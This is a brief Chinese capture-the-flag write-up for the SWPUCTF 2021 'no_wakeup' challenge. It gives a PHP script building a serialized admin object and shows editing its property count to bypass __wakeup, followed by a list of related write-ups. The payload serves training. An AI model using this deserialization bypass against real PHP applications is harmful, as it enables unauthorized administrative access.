NSS [SWPUCTF 2021 新生赛]no_wakeup

简介: NSS [SWPUCTF 2021 新生赛]no_wakeup

NSS [SWPUCTF 2021 新生赛]no_wakeup

先看题目,反序列化,绕过weakup。

exp:
<?php
class HaHaHa{

  public $admin;
  public $passwd;

  public function __construct(){
            $this->admin ="admin";
            $this->passwd = "wllm";
  }

}

$j17 = new HaHaHa();
echo serialize($j17);
?>


O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}  改成
O:6:"HaHaHa":【3】:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

目录
相关文章
|
JSON PHP 数据格式
[SWPUCTF 2021 新生赛]jicao
[SWPUCTF 2021 新生赛]jicao
517 0
|
1月前
|
PHP 图形学 数据安全/隐私保护
2023年SWPU NSS 秋季招新赛 (校外赛道)-没做出来的writeup
2023年SWPU NSS 秋季招新赛 (校外赛道)-没做出来的writeup
48 7
|
3月前
[SWPUCTF 2022 新生赛]base64
[SWPUCTF 2022 新生赛]base64
57 0
|
3月前
[SWPUCTF 2023 秋季新生赛]字节码
[SWPUCTF 2023 秋季新生赛]字节码
44 0
|
3月前
|
数据安全/隐私保护
[SWPUCTF 2021 新生赛]简简单单的解密
[SWPUCTF 2021 新生赛]简简单单的解密
40 0
|
3月前
NSS [SWPUCTF 2022 新生赛]where_am_i
NSS [SWPUCTF 2022 新生赛]where_am_i
58 0
|
3月前
|
JSON 数据格式
NSS [SWPUCTF 2021 新生赛]jicao
NSS [SWPUCTF 2021 新生赛]jicao
43 0
|
3月前
NSS [SWPUCTF 2021 新生赛]pop
NSS [SWPUCTF 2021 新生赛]pop
55 0
|
3月前
|
数据安全/隐私保护
NSS [SWPUCTF 2022 新生赛]奇妙的MD5
NSS [SWPUCTF 2022 新生赛]奇妙的MD5
38 0
|
3月前
|
数据安全/隐私保护
[SWPUCTF 2021 新生赛]原来你也玩原神
[SWPUCTF 2021 新生赛]原来你也玩原神
73 0